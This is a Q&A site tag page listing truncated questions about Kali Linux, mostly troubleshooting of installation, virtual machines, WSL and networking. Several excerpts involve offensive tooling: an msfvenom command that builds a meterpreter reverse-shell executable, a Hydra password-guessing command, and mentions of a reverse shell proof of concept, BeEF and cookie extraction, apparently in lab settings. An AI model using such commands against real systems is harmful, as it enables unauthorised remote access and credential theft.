Questions tagged [kali-linux]
Kali Linux is a penetration testing distribution made by Offensive Security. It is based on Debian, and is the child of BackTrack.
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Kali Linux Postgresql Metasploit DB Fails to Start
I currently have 3 versions of postgres installed, 14, 15, 16. All 3 are actively running and can be accessed from user postgres on ports 5432, 5433, and 5434.
When running sudo msfdb status it ...
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black screen after login into kali inside virtualbox [maybe display bad settings]
I after install Kali inside oracle VirtualBox I can`t login to it and see this black screen:
And when i want to close it VirtualBox shows me this:
I think it is incorrect display settings. These are ...
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How to connect to a HyperV VM (Kali guest) using Remote desktop? (Win10 host)
I just trying to access without starting a HyperV instance but a RPD conection. I already tried a lot of ways published here (Superuser) but, for instance: In this Tutorial 1 I've followed the steps ...
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Kali Linux can't boot into gui
I was trying to configure my Nvidia gsync as I heard online that this stops some flickering issues I was having with a game, I edited a config file to enable this and then rebooted and then it refused ...
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How to list a tree of webpage files given url
I can use wget --mirror url to download a webpage, but how can I only list (see) a tree directory of that page in linux terminal?
For example I have a personal website where there is a .htaccess file ...
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Kali does not detect Eth1 - VMware Pro
Working on an assignment where I need to create a new network adaptor (Host only) in VMware an I need to enter the following
sudo ifconfig eth0 down
sudo ifconfig eth1 192.168.150.129 netmask 255.255....
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How to get pairing key for MX Keys S to Kali v6.8.11 on mid-2012 MacBook core i5?
I can connect simple Bluetooth speakers to Kali v6.8.11 running on a mid2012 MacBook Pro with core i5. I also want to connect the Logitech MX Keys S to it. I am sure the problem is the keyboard wants ...
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How to fix sudo service snapd.service enable snapd.service: unrecognized service
sudo service snapd.service enable
snapd.service: unrecognized service
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The Hydra tool is not checking the entire wordlist
I recently used the Hydra tool and want to share my experience. I created a custom word list and placed the password in the 10th position. When I used the command
hydra -l msfadmin -P list.txt <...
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kali linux on wsl: "sudo apt upgrade -y" does not complete/is stuck
I want to use Kali Linux on my Windows 11 machine through wsl. After installing kali on my wsl, I did sudo apt update -y which worked fine, then sudo apt upgrade -y which is now stuck at 2% progress ...
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Kali linux does not update and does not upgrade
Kali Linux has some problems, can you help me in detail to solve these problems? I am using Kali Linux version 2020.2.
I write sudo apt update and sudo apt upgrade, it doesn't update and doesn't ...
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Cannot ping windows from kali linux laptop
In general, I can ping from windows 11 kali linux mine on a second laptop, ping 192.168.1.84 but when I try to ping ping 192.168.1.51 from kali linux there is no response and the ping hangs. Two ...
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Full Network Enumeration without an assigned ip address
I've faced a situation where I connected to a network with an ethernet cable and the DHCP server was disabled, so I didn't get an assigned ip. I was wondering if I can run a scan with kali linux tools ...
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Installation of libc6 stuck in WSL Kali Linux
I recently shifted WSL since I already turned it for Docker from using VM due to space in my drive. I installed Kali Linux and ubuntu in WSL.
Ubuntu worked perfectly without a hitch but when i upgrade ...
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Having issues with with “Drag & Drop” with Kali Linux on VirtualBox: “DnD: Error: Requesting pending data from guest failed (VERR_TIMEOUT).”
I have an issue with “Drag & Drop” with Kali Linux on VirtualBox on a Debian host!
Details:
Drag and drop operation from guest to host failed.
DnD: Error: Requesting pending data from guest ...
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No Firefox cookies.sqlite file found. Use -c COOKIEFILE
I try to execute the code by using this command in my Kali Linux python3 ./cookies.py
then I got this message No Firefox cookies.sqlite file found. Use -c COOKIEFILE.
what does the message mean and ...
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USB with Kali Linux 2024.1 (not live) installed not visible in boot menu
Specifications:
Laptop: Lenovo Legion Pro 5i (Gen 8)
CPU: i9 (13th Gen)
GPU: Nvidia Geforce RTX 4060
USB B is a SanDisk Ultra Luxe (128GB)
For context:
Secure boot is off.
USB ports are working ...
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I’m facing a issue while using Kali on Virtual Box [closed]
I'm facing an issue while using Kali on Virtual Box my WiFi adapter is not showing any visible network right there in the Linux but it's visible outside my VirtualBox.
If anyone knows how to overcome ...
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Why is NMAP showing more hosts than expected?
I am using VMware Workstation, and I have a few VMs installed. When I turn on Kali VM (192.168.140.13) and Windows 10 VM (192.168.140.15) and run NMAP on Kali. I received the following output:
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how to make my vm reachable from hosts within same network
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I want to do a reverse shell POC, so I am using Kali Linux on virtual box hosted on a Windows machine. On the same network my Windows machine hosted, there is a Linux machine that I want to ...
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VirtualBox Installation
Sorry guys if this is a dumb question but I'm trying to learn all of this and am a bit confused.
I have Kali Linux installed as a 'Live" program to a USB stick. I'm looking at using the Oracle ...
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How can I collect packets on 5165 MHz frequency?
I have an Intel AX210 Wifi 6E supported wireless card.
There is a device that broadcasts WIFI on the 5165 MHz frequency.
For my cyber security research, I need to collect packets from this device ...
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WSL win-kex pick up windows scale 1.25%?
I am using kali in wsl. When I launch win-kex in windows mode, it (xtigervnc) pick up windows default scal which is 1.25% (windows 11). It is not looking nice and blurry.
Command to launch win-kex:
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How to autoconnect kali to android for bluetooth tethering
I'm trying to connect my rasberry pi zero 2 running kali-pitail to my phone via bluetooth for insternet and ssh access.
I can make this work with the graphical bluetooth manager, but opening vnc every ...
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Can you please help me running beef-xss with public IP?
I have problem with running beef-xss with my public IP address.
here is my config.yaml:
#Copyright (c) 2006-2024 Wade Alcorn - [email protected]
#Browser Exploitation Framework (BeEF) - https://...
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What is the difference between "Kali On ARM" and "Kali On ARM (PiTail)"?
The official website for Kali Linux has two versions for Raspberry Pi Zero W w ithout any explanation of the differences:
Kali Raspberry Pi Zero W
Kali Raspberry Pi Zero W (PiTail)
Same goes for the ...
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Disable autologin in TTY consoles in Kali Linux live system (with persistence)
I have kali live 2023.4 installed on my usb stick (with persistence partition) and I want to disable autologin in TTY consoles. When I open TTY on my computer, it automatically logins as kali. On my ...
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How do I install a triple boot Archlinux / Windows 11 / Kali Linux?
I'd like to ask for your help with a "special" installation. I'm looking to install Archlinux, Windows 11 and Kali Linux on the same SSD. I've succeeded in the first two installations, but I ...
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Kali Linux --- Temporary failure in name resolution
I am facing problems with internet, more specifically DNS in kali linux. I am running kali linux in VMware on a windows machine. After installing the kali from https://www.kali.org/get-kali/#kali-...
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How to get Thunderbolt 4 dock to work on Thunderbolt 3 port? (Dell Precision 5510)
I have a Dell Precision 5510 laptop with Thunderbolt. I'm able to get TB3 devices to connect in Windows and Linux without issue, but cannot get TB4 docks to connect. I've tried three brands (ACASIS, ...
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kali linux filter by protocol wireshark's pcaps
I spent the last 2h looking for a way to quikly filter pcaps, it seems that it is possible using cmd/bat on windows but I can't find anything for kali linux.
I have a way too big pcap and I want to ...
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Unstable Wifi Detection in Virtual Box
I managed to install drivers for my Wifi adapter and VM Linux (virtual box) manages to recognize it as wlan0, however if it NEVER shows avaiable networks, which there are.
I've gone and reinstalled ...
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My wireless adapter is seen in terminal but I cannot connect to wifi in VirtualBox Linux
I have a problem where my VirtualBox does not scan wifi through my wireless adapter but is connected to the ethernet of host machine.
When I do ifconfig then my wireless adapter is shown.
ifconfig ...
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SSH not recognizing that my public RSA key is already in the authorized_keys folder?
Apologies if the question is really simple, however I have not been able to find a solution yet.
I am exploring the exploitation potential of Kali Linux on the popular Metasploitable vulnerable server....
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WSL2 kali-win-kex always launches desktop in seamless mode
I've managed to successfully install Kali with WSL2 on a Windows 11 home machine. I've also managed to install (and reinstall) kali-win-kex. kex --win -s works as expected, but when I run
$ kex --sl -...
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OpenVPN can't open (Kali)
I'm setting up an OpenVPN server on Kali. When the service is started, this error occurs:
Job for [email protected] failed because the control process exited with error code. See "...
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Kali Linux VM stuck on installation
I am trying to set up Kali Linux on VirtualBox but it is stuck in the 'Select and Install Software' step. The progress bar shows that it is nearly completed, but it has been stuck on 'Unpacking ...
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!$ not automatic in Kali Linux
Does anybody know how to change the behaviour of !$ in Kali Linux ? Right now, if I reference last argument using !$ I must enter the new command with the last argument instead of executing a new ...
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Unable to install any packages on Kali
Windows admin, Linux newbie trying to do some really basic stuff for a class I'm taking. I'm using the official VMWare appliance from Kali so I would think everything is configured to a point of basic ...
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Kali Download Verification
I am having difficulty getting the results I expect from the Kali Linux download verification steps below. I realize there is a Kali forum on their website but they aren't accepting new registrations ...
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Luks encryption not removing from Pendrive
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When I try to install qubes Os to pWhen I try to install qubes Os to pendrive (SanDisk 64gb 3.2 gen 1) for live format while installing suddenly stopped and pendrive ...
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Kali linux persistance usb is not saving anything
I created a kali linux usb by flash the OS(downloaded from the website and I has chosen the usb one) to the usb with etcher, then I followed the process on kali website. Nothing gives error in the ...
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apt update error in kali linux NO_PUBKEY ED444FF07D8D0BF6 [duplicate]
i'm trying to update my kali linux as usual but i got this error.enter image description here
Pls help
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Oracle Virtual Box Linux VM : virtual size vs actual size
I've just installed a fresh Kali version on Oracle Virtual Box.
To do so, I created a VM with 250Gb disk space, then ran the .iso : hence, the .vdi file size is 250Gb.
But when logged in, when I try - ...
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How can I include exploit advanced in msfvenom?
How can I include advanced options with msfvenom
This is usually how I create the files
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.52 LPORT=4567 --platform windows -f exe -o file.exe
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Windows black screen while trying to boot up windows installed with Kali Linux
I'm encountering a issue while dual booting Windows and Kali in my MacBook Air (Late 2017 model). I have both Windows 11 and Kali Linux on my laptop. I installed Windows 11 initially, and than Kali ...
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PAGE_FAULT_IN_NONPAGED_AREA bsod while installing Kali Linux on virtual machine
I have a problem with setting virtual machine. I tried installing Kali Linux with these parameters:
Memory - 256 MB
Processor - 2 cores
SCSI - 16 GB
If i try to install it, I get either console ...
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Error updating linux - "Could not resolve kali.download"
I'm not able to run sudo apt-get update, keep getting the following error:
#apt-get update
Ign:1 http://kali.download/kali kali-rolling InRelease
Ign:1 http://kali.download/kali kali-rolling InRelease
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Fern Wifi Cracker dont work
I cant install the Wifi Cracker in Kali Linux.
When I wanna start the Cracker this messages shows up:
(Many people have the problem but none of the proposed solutions worked for me)
└─$ sudo fern-wifi-...
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Kali Linux bridged adapter won't work with Media Tek MT7921 Wi-Fi 802llax PCle Adapter
I have the VM Box 7.0.10 and the Kali Linux 2032.2 version. It's all current but when I try to run it with a bridged adapter it won't work. Any help would be appreciated. I am new here and to ...
